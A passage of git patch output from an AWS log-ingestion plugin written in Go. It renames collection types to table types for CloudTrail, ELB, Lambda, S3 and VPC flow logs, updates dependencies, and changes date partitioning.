if the source is an artifact source, we need to specify the mapper - return []row_source.RowSourceOption{artifact_source.WithMapper(aws_source.NewCloudtrailMapper())} +func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + var opts = []row_source.RowSourceOption{ + // if the source is an artifact source, we need a mapper + // NOTE: WithArtifactMapper option will ONLY apply if the RowSource IS an ArtifactSource + // TODO #design we may be able to remove the need for this if we can handle JSON generically + artifact_source.WithArtifactMapper(aws_source.NewCloudtrailMapper()), + } + + switch sourceType { + case artifact_source.AwsS3BucketSourceIdentifier: + // the default file layout for Cloudtrail logs in S3 + defaultArtifactConfig := &artifact_source.ArtifactSourceConfigBase{ + // TODO #config finalise default cloudtrail file layout + FileLayout: utils.ToStringPointer("AWSLogs/o-z3cf4qoe7m/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), + } + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) + } + + return opts } -// GetRowSchema implements collection.Collection -func (c *CloudTrailLogCollection) GetRowSchema() any { +// GetRowSchema implements table.Table +func (c *CloudTrailLogTable) GetRowSchema() any { return aws_types.AWSCloudTrail{} } -func (c *CloudTrailLogCollection) GetConfigSchema() hcl.Config { - return &CloudTrailLogCollectionConfig{} +func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { + return &CloudTrailLogTableConfig{} } -// EnrichRow implements collection.Collection -func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +// EnrichRow implements table.Table +func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) if !ok { @@ -87,8 +104,8 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr } // Hive fields - record.TpCollection = "default" // TODO - should be based on the definition in HCL - record.TpConnection = record.RecipientAccountId + record.TpPartition = "default" // TODO - should be based on the definition in HCL + record.TpIndex = record.RecipientAccountId record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) diff --git a/aws_table/cloudtrail_log_table_config.go b/aws_table/cloudtrail_log_table_config.go new file mode 100644 index 00000000..2427d0df --- /dev/null +++ b/aws_table/cloudtrail_log_table_config.go @@ -0,0 +1,7 @@ +package aws_table + +type CloudTrailLogTableConfig struct{} + +func (c *CloudTrailLogTableConfig) Validate() error { + return nil +} diff --git a/aws_collection/cloudtrail_log_collection_test.go b/aws_table/cloudtrail_log_table_test.go similarity index 60% rename from aws_collection/cloudtrail_log_collection_test.go rename to aws_table/cloudtrail_log_table_test.go index 46b5f63e..1b04f4ae 100644 --- a/aws_collection/cloudtrail_log_collection_test.go +++ b/aws_table/cloudtrail_log_table_test.go @@ -1,4 +1,4 @@ -package aws_collection +package aws_table //import ( // "testing" @@ -7,5 +7,5 @@ package aws_collection //) // //func TestConformance(t *testing.T) { -// collection.RunConformanceTests(t, &CloudTrailLogCollection{}) +// collection.RunConformanceTests(t, &CloudTrailLogTable{}) //} diff --git a/aws_collection/elb_access_log_collection.go b/aws_table/elb_access_log_table.go similarity index 84% rename from aws_collection/elb_access_log_collection.go rename to aws_table/elb_access_log_table.go index 017f2333..d9e0e8a5 100644 --- a/aws_collection/elb_access_log_collection.go +++ b/aws_table/elb_access_log_table.go @@ -1,4 +1,4 @@ -package aws_collection +package aws_table import ( "fmt" @@ -10,41 +10,41 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -type ElbAccessLogCollection struct { - collection.CollectionBase[*ElbAccessLogCollectionConfig] +type ElbAccessLogTable struct { + table.TableBase[*ElbAccessLogTableConfig] } -func NewElbAccessLogCollection() collection.Collection { - return &ElbAccessLogCollection{} +func NewElbAccessLogTable() table.Table { + return &ElbAccessLogTable{} } -func (c *ElbAccessLogCollection) Identifier() string { +func (c *ElbAccessLogTable) Identifier() string { return "aws_elb_access_log" } -func (c *ElbAccessLogCollection) GetRowSchema() any { +func (c *ElbAccessLogTable) GetRowSchema() any { return &aws_types.AwsElbAccessLog{} } -func (c *ElbAccessLogCollection) GetConfigSchema() hcl.Config { - return &ElbAccessLogCollectionConfig{} +func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { + return &ElbAccessLogTableConfig{} } -func (c *ElbAccessLogCollection) GetSourceOptions() []row_source.RowSourceOption { +func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithMapper(aws_source.NewElbAccessLogMapper()), + artifact_source.WithArtifactMapper(aws_source.NewElbAccessLogMapper()), } } -func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +func (c *ElbAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // short-circuit for unexpected row type rawRecord, ok := row.(map[string]string) if !ok { @@ -195,9 +195,9 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri record.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? // Hive Fields - record.TpCollection = c.Identifier() - if record.TpConnection == "" { - record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + record.TpPartition = c.Identifier() + if record.TpIndex == "" { + record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } record.TpYear = int32(record.Timestamp.Year()) record.TpMonth = int32(record.Timestamp.Month()) diff --git a/aws_table/elb_access_log_table_config.go b/aws_table/elb_access_log_table_config.go new file mode 100644 index 00000000..c41b2e37 --- /dev/null +++ b/aws_table/elb_access_log_table_config.go @@ -0,0 +1,9 @@ +package aws_table + +type ElbAccessLogTableConfig struct { +} + +func (a ElbAccessLogTableConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_collection/lambda_log_collection.go b/aws_table/lambda_log_table.go similarity index 72% rename from aws_collection/lambda_log_collection.go rename to aws_table/lambda_log_table.go index f98b1fd3..aa975d3f 100644 --- a/aws_collection/lambda_log_collection.go +++ b/aws_table/lambda_log_table.go @@ -1,4 +1,4 @@ -package aws_collection +package aws_table import ( "fmt" @@ -9,41 +9,41 @@ import ( "github.com/rs/xid" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -type LambdaLogCollection struct { - // all collections must embed collection.CollectionBase - collection.CollectionBase[*LambdaLogCollectionConfig] +type LambdaLogTable struct { + // all tables must embed table.TableBase + table.TableBase[*LambdaLogTableConfig] } -func NewLambdaLogCollection() collection.Collection { - return &LambdaLogCollection{} +func NewLambdaLogTable() table.Table { + return &LambdaLogTable{} } -func (c *LambdaLogCollection) Identifier() string { +func (c *LambdaLogTable) Identifier() string { return "aws_lambda_log" } -func (c *LambdaLogCollection) GetSourceOptions() []row_source.RowSourceOption { +func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), } } -func (c *LambdaLogCollection) GetRowSchema() any { +func (c *LambdaLogTable) GetRowSchema() any { return &aws_types.AwsLambdaLog{} } -func (c *LambdaLogCollection) GetConfigSchema() hcl.Config { - return &LambdaLogCollectionConfig{} +func (c *LambdaLogTable) GetConfigSchema() parse.Config { + return &LambdaLogTableConfig{} } -func (c *LambdaLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +func (c *LambdaLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { rawRecord, ok := row.(string) if !ok { return nil, fmt.Errorf("invalid row type: %T, expected string", row) @@ -104,9 +104,9 @@ func (c *LambdaLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichm record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) // Hive fields - record.TpCollection = c.Identifier() - if record.TpConnection == "" { - record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + record.TpPartition = c.Identifier() + if record.TpIndex == "" { + record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } record.TpYear = int32(record.Timestamp.Year()) record.TpMonth = int32(record.Timestamp.Month()) diff --git a/aws_table/lambda_log_table_config.go b/aws_table/lambda_log_table_config.go new file mode 100644 index 00000000..5f180577 --- /dev/null +++ b/aws_table/lambda_log_table_config.go @@ -0,0 +1,9 @@ +package aws_table + +type LambdaLogTableConfig struct { +} + +func (a LambdaLogTableConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_collection/s3_server_access_log_collection.go b/aws_table/s3_server_access_log_table.go similarity index 80% rename from aws_collection/s3_server_access_log_collection.go rename to aws_table/s3_server_access_log_table.go index ae8ae7c8..0401eaab 100644 --- a/aws_collection/s3_server_access_log_collection.go +++ b/aws_table/s3_server_access_log_table.go @@ -1,48 +1,49 @@ -package aws_collection +package aws_table import ( "fmt" "github.com/rs/xid" + "strconv" + "time" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" - "strconv" - "time" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -type S3ServerAccessLogCollection struct { - collection.CollectionBase[*S3ServerAccessLogCollectionConfig] +type S3ServerAccessLogTable struct { + table.TableBase[*S3ServerAccessLogTableConfig] } -func NewS3ServerAccessLogCollection() collection.Collection { - return &S3ServerAccessLogCollection{} +func NewS3ServerAccessLogTable() table.Table { + return &S3ServerAccessLogTable{} } -func (c *S3ServerAccessLogCollection) Identifier() string { +func (c *S3ServerAccessLogTable) Identifier() string { return "aws_s3_server_access_log" } -func (c *S3ServerAccessLogCollection) GetRowSchema() any { +func (c *S3ServerAccessLogTable) GetRowSchema() any { return &aws_types.AwsS3ServerAccessLog{} } -func (c *S3ServerAccessLogCollection) GetConfigSchema() hcl.Config { - return &S3ServerAccessLogCollectionConfig{} +func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { + return &S3ServerAccessLogTableConfig{} } -func (c *S3ServerAccessLogCollection) GetSourceOptions() []row_source.RowSourceOption { +func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithMapper(aws_source.NewS3ServerAccessLogMapper()), + artifact_source.WithArtifactMapper(aws_source.NewS3ServerAccessLogMapper()), } } -func (c *S3ServerAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +func (c *S3ServerAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // short-circuit for unexpected row type rawRecord, ok := row.(map[string]string) if !ok { @@ -189,9 +190,9 @@ func (c *S3ServerAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields record.TpSourceType = "aws.s3_server_access_log" // Hive Fields - record.TpCollection = c.Identifier() - if record.TpConnection == "" { - record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + record.TpPartition = c.Identifier() + if record.TpIndex == "" { + record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } record.TpYear = int32(record.Timestamp.Year()) record.TpMonth = int32(record.Timestamp.Month()) diff --git a/aws_table/s3_server_access_log_table_config.go b/aws_table/s3_server_access_log_table_config.go new file mode 100644 index 00000000..10eb7f1a --- /dev/null +++ b/aws_table/s3_server_access_log_table_config.go @@ -0,0 +1,9 @@ +package aws_table + +type S3ServerAccessLogTableConfig struct { +} + +func (a S3ServerAccessLogTableConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_table/vpc_flow_log_table.go b/aws_table/vpc_flow_log_table.go new file mode 100644 index 00000000..ef38c551 --- /dev/null +++ b/aws_table/vpc_flow_log_table.go @@ -0,0 +1,111 @@ +package aws_table + +import ( + "fmt" + "time" + + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +// VPCFlowLogLogTable - table for VPC Flow Logs +type VPCFlowLogLogTable struct { + // all tables must embed table.TableBase + table.TableBase[*VpcFlowLogTableConfig] +} + +func NewVPCFlowLogLogTable() table.Table { + return &VPCFlowLogLogTable{} +} + +// Identifier implements table.Table +func (c *VPCFlowLogLogTable) Identifier() string { + return "aws_vpc_flow_log" +} + +// GetRowSchema implements table.Table +// return an instance of the row struct +func (c *VPCFlowLogLogTable) GetRowSchema() any { + return aws_types.AwsVpcFlowLog{} +} + +func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { + return &VpcFlowLogTableConfig{} +} + +// EnrichRow implements table.Table +func (c *VPCFlowLogLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + // row must be a string + rowString, ok := row.(string) + if !ok { + return nil, fmt.Errorf("invalid row type %T, expected string", row) + } + record, err := aws_types.FlowLogFromString(rowString, c.Config.Fields) + + if err != nil { + return nil, fmt.Errorf("error parsing row: %s", err) + } + + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + record.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + record.TpID = xid.New().String() + + // TODO is source type actually the source, i.e compressed file source etc> + // should these all be filled in by the source??? + record.TpSourceType = c.Identifier() + //record.TpSourceName = ??? + //record.TpSourceLocation = ??? + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + + // Hive fields + // TODO - should be based on the definition in HCL + record.TpPartition = "default" + if record.AccountID != nil { + record.TpIndex = *record.AccountID + } + + // populate the year, month, day from start time + if record.Timestamp != nil { + // TODO factor into function + record.TpYear = int32(record.Timestamp.In(time.UTC).Year()) + record.TpMonth = int32(record.Timestamp.In(time.UTC).Month()) + record.TpDay = int32(record.Timestamp.In(time.UTC).Day()) + + record.TpTimestamp = helpers.UnixMillis(record.Timestamp.UnixNano() / int64(time.Millisecond)) + + } else if record.Start != nil { + record.TpYear = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Year()) + record.TpMonth = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Month()) + record.TpDay = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Day()) + + //convert from unis seconds to milliseconds + record.TpTimestamp = helpers.UnixMillis(*record.Start * 1000) + } + + //record.TpAkas = ??? + //record.TpTags = ??? + //record.TpDomains = ??? + //record.TpEmails = ??? + //record.TpUsernames = ??? + + // ips + if record.SrcAddr != nil { + record.TpSourceIP = record.SrcAddr + record.TpIps = append(record.TpIps, *record.SrcAddr) + } + if record.DstAddr != nil { + record.TpDestinationIP = record.DstAddr + record.TpIps = append(record.TpIps, *record.DstAddr) + } + + return record, nil + +} diff --git a/aws_collection/vpc_flow_log_collection_config.go b/aws_table/vpc_flow_log_table_config.go similarity index 77% rename from aws_collection/vpc_flow_log_collection_config.go rename to aws_table/vpc_flow_log_table_config.go index 55a3fdeb..d39a52c7 100644 --- a/aws_collection/vpc_flow_log_collection_config.go +++ b/aws_table/vpc_flow_log_table_config.go @@ -1,4 +1,4 @@ -package aws_collection +package aws_table var DefaultFlowLogFields = []string{ "version", @@ -17,12 +17,12 @@ var DefaultFlowLogFields = []string{ "log-status", } -type VpcFlowLogCollectionConfig struct { +type VpcFlowLogTableConfig struct { // the fields to extract from the flow log Fields []string `hcl:"fields,optional"` } -func (c *VpcFlowLogCollectionConfig) Validate() error { +func (c *VpcFlowLogTableConfig) Validate() error { // set default fields if none are specified if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields diff --git a/data/paging/paging.db b/data/paging/paging.db deleted file mode 100644 index 55e69e7ac51f6eefb26156241c378bebfb7124ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 274432 zcmeI)J!?}@7y#h+_KSju9b5bZP9iK!5-N0t5&U zAV7e?bO~I1`gZ%xyY~lG+MmZvBWCi*%7<3W?bbWpPDJW$q_*^F#=?_&yVGq?`g>JV zKgw}=Tx#s?>@*wuoxSc>x4zqKmdz_g(T>)C)EQ&$Qlb~T&)!gc`TwB zU(OHfr3zxYuF-A@5FkK+009C72oNAZfWS!v%A7sr+<8PZvS9+ Date: Thu, 5 Sep 2024 13:37:09 +0100 Subject: [PATCH 052/180] Update to work with parameterized CollectionState --- aws_table/cloudtrail_log_table.go | 3 ++- go.mod | 6 +++--- go.sum | 12 ++++++------ 3 files changed, 11 insertions(+), 10 deletions(-) diff --git a/aws_table/cloudtrail_log_table.go b/aws_table/cloudtrail_log_table.go index 19ce1626..08c58a0c 100644 --- a/aws_table/cloudtrail_log_table.go +++ b/aws_table/cloudtrail_log_table.go @@ -11,6 +11,7 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" @@ -45,7 +46,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro switch sourceType { case artifact_source.AwsS3BucketSourceIdentifier: // the default file layout for Cloudtrail logs in S3 - defaultArtifactConfig := &artifact_source.ArtifactSourceConfigBase{ + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ // TODO #config finalise default cloudtrail file layout FileLayout: utils.ToStringPointer("AWSLogs/o-z3cf4qoe7m/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } diff --git a/go.mod b/go.mod index 00ce1fa9..32c9e338 100644 --- a/go.mod +++ b/go.mod @@ -114,8 +114,7 @@ require ( github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect - github.com/opencontainers/image-spec v1.1.0-rc5 // indirect - github.com/oras-project/oras-credentials-go v0.3.0 // indirect + github.com/opencontainers/image-spec v1.1.0 // indirect github.com/pelletier/go-toml/v2 v2.1.0 // indirect github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect @@ -140,6 +139,7 @@ require ( github.com/tklauser/numcpus v0.3.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect + github.com/turbot/pipes-sdk-go v0.9.1 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b // indirect github.com/ulikunitz/xz v0.5.10 // indirect @@ -176,7 +176,7 @@ require ( gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect - oras.land/oras-go/v2 v2.3.0 // indirect + oras.land/oras-go/v2 v2.5.0 // indirect sigs.k8s.io/yaml v1.3.0 // indirect ) diff --git a/go.sum b/go.sum index cebc9e61..2a987830 100644 --- a/go.sum +++ b/go.sum @@ -575,10 +575,8 @@ github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= -github.com/opencontainers/image-spec v1.1.0-rc5 h1:Ygwkfw9bpDvs+c9E34SdgGOj41dX/cbdlwvlWt0pnFI= -github.com/opencontainers/image-spec v1.1.0-rc5/go.mod h1:X4pATf0uXsnn3g5aiGIsVnJBR4mxhKzfwmvK/B2NTm8= -github.com/oras-project/oras-credentials-go v0.3.0 h1:Bg1d9iAmgo50RlaIy2XI5MQs7qL00DB3R9Q4JRP1VWs= -github.com/oras-project/oras-credentials-go v0.3.0/go.mod h1:fFCebDQo0Do+gnM96uV9YUnRay0pwuRQupypvofsp4s= +github.com/opencontainers/image-spec v1.1.0 h1:8SG7/vwALn54lVB/0yZ/MMwhFrPYtpEHQb2IpWsCzug= +github.com/opencontainers/image-spec v1.1.0/go.mod h1:W4s4sFTMaBeK1BQLXbG4AdM2szdn85PY75RI83NrTrM= github.com/pelletier/go-toml/v2 v2.1.0 h1:FnwAJ4oYMvbT/34k9zzHuZNrhlz48GB3/s6at6/MHO4= github.com/pelletier/go-toml/v2 v2.1.0/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/pjbgf/sha1cd v0.3.0 h1:4D5XXmUUBUl/xQ6IjCkEAbqXskkq/4O7LmGn0AqMDs4= @@ -660,6 +658,8 @@ github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQ github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKUlSoA= github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= +github.com/turbot/pipes-sdk-go v0.9.1 h1:2yRojY2wymvJn6NQyE6A0EDFV267MNe+yDLxPVvsBwM= +github.com/turbot/pipes-sdk-go v0.9.1/go.mod h1:Mb+KhvqqEdRbz/6TSZc2QWDrMa5BN3E4Xw+gPt2TRkc= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b h1:Rl3YjN+sveHb51BlV3I48wsxsdBIhcS33CnZTM+lmLI= @@ -1258,8 +1258,8 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -oras.land/oras-go/v2 v2.3.0 h1:lqX1aXdN+DAmDTKjiDyvq85cIaI4RkIKp/PghWlAGIU= -oras.land/oras-go/v2 v2.3.0/go.mod h1:GeAwLuC4G/JpNwkd+bSZ6SkDMGaaYglt6YK2WvZP7uQ= +oras.land/oras-go/v2 v2.5.0 h1:o8Me9kLY74Vp5uw07QXPiitjsw7qNXi8Twd+19Zf02c= +oras.land/oras-go/v2 v2.5.0/go.mod h1:z4eisnLP530vwIOUOJeBIj0aGI0L1C3d53atvCBqZHg= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= From a94fb9695862d717fa9023b047a6d52775568800 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Fri, 6 Sep 2024 12:02:41 -0400 Subject: [PATCH 053/180] Update default AWS CloudTrail regex so AWS org ID is optional --- aws_table/cloudtrail_log_table.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/aws_table/cloudtrail_log_table.go b/aws_table/cloudtrail_log_table.go index 08c58a0c..329caf4f 100644 --- a/aws_table/cloudtrail_log_table.go +++ b/aws_table/cloudtrail_log_table.go @@ -48,7 +48,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro // the default file layout for Cloudtrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ // TODO #config finalise default cloudtrail file layout - FileLayout: utils.ToStringPointer("AWSLogs/o-z3cf4qoe7m/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) } From 1d1bd6320382775a22c25ed5d052201c90bce5bd Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 9 Sep 2024 17:25:16 +0100 Subject: [PATCH 054/180] Change partitioning to use tp_date instead of tp_year, tp_month and tp_day (#5) Co-authored-by: kai --- aws_table/cloudtrail_log_table.go | 5 ++--- aws_table/elb_access_log_table.go | 6 +++--- aws_table/lambda_log_table.go | 5 ++--- aws_table/s3_server_access_log_table.go | 5 ++--- aws_table/vpc_flow_log_table.go | 13 +++++-------- 5 files changed, 14 insertions(+), 20 deletions(-) diff --git a/aws_table/cloudtrail_log_table.go b/aws_table/cloudtrail_log_table.go index 329caf4f..8b372d1d 100644 --- a/aws_table/cloudtrail_log_table.go +++ b/aws_table/cloudtrail_log_table.go @@ -107,9 +107,8 @@ func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichme // Hive fields record.TpPartition = "default" // TODO - should be based on the definition in HCL record.TpIndex = record.RecipientAccountId - record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) - record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) - record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) + // convert to date in format yy-mm-dd + record.TpDate = time.UnixMilli(int64(record.EventTime)).Format("2006-01-02") return record, nil } diff --git a/aws_table/elb_access_log_table.go b/aws_table/elb_access_log_table.go index d9e0e8a5..ff63eccd 100644 --- a/aws_table/elb_access_log_table.go +++ b/aws_table/elb_access_log_table.go @@ -199,9 +199,9 @@ func (c *ElbAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichmen if record.TpIndex == "" { record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } - record.TpYear = int32(record.Timestamp.Year()) - record.TpMonth = int32(record.Timestamp.Month()) - record.TpDay = int32(record.Timestamp.Day()) + + // convert to date in format yy-mm-dd + record.TpDate = record.Timestamp.Format("2006-01-02") return record, nil } diff --git a/aws_table/lambda_log_table.go b/aws_table/lambda_log_table.go index aa975d3f..9171c8c4 100644 --- a/aws_table/lambda_log_table.go +++ b/aws_table/lambda_log_table.go @@ -108,9 +108,8 @@ func (c *LambdaLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.C if record.TpIndex == "" { record.TpIndex = c.Identifier() // TODO: 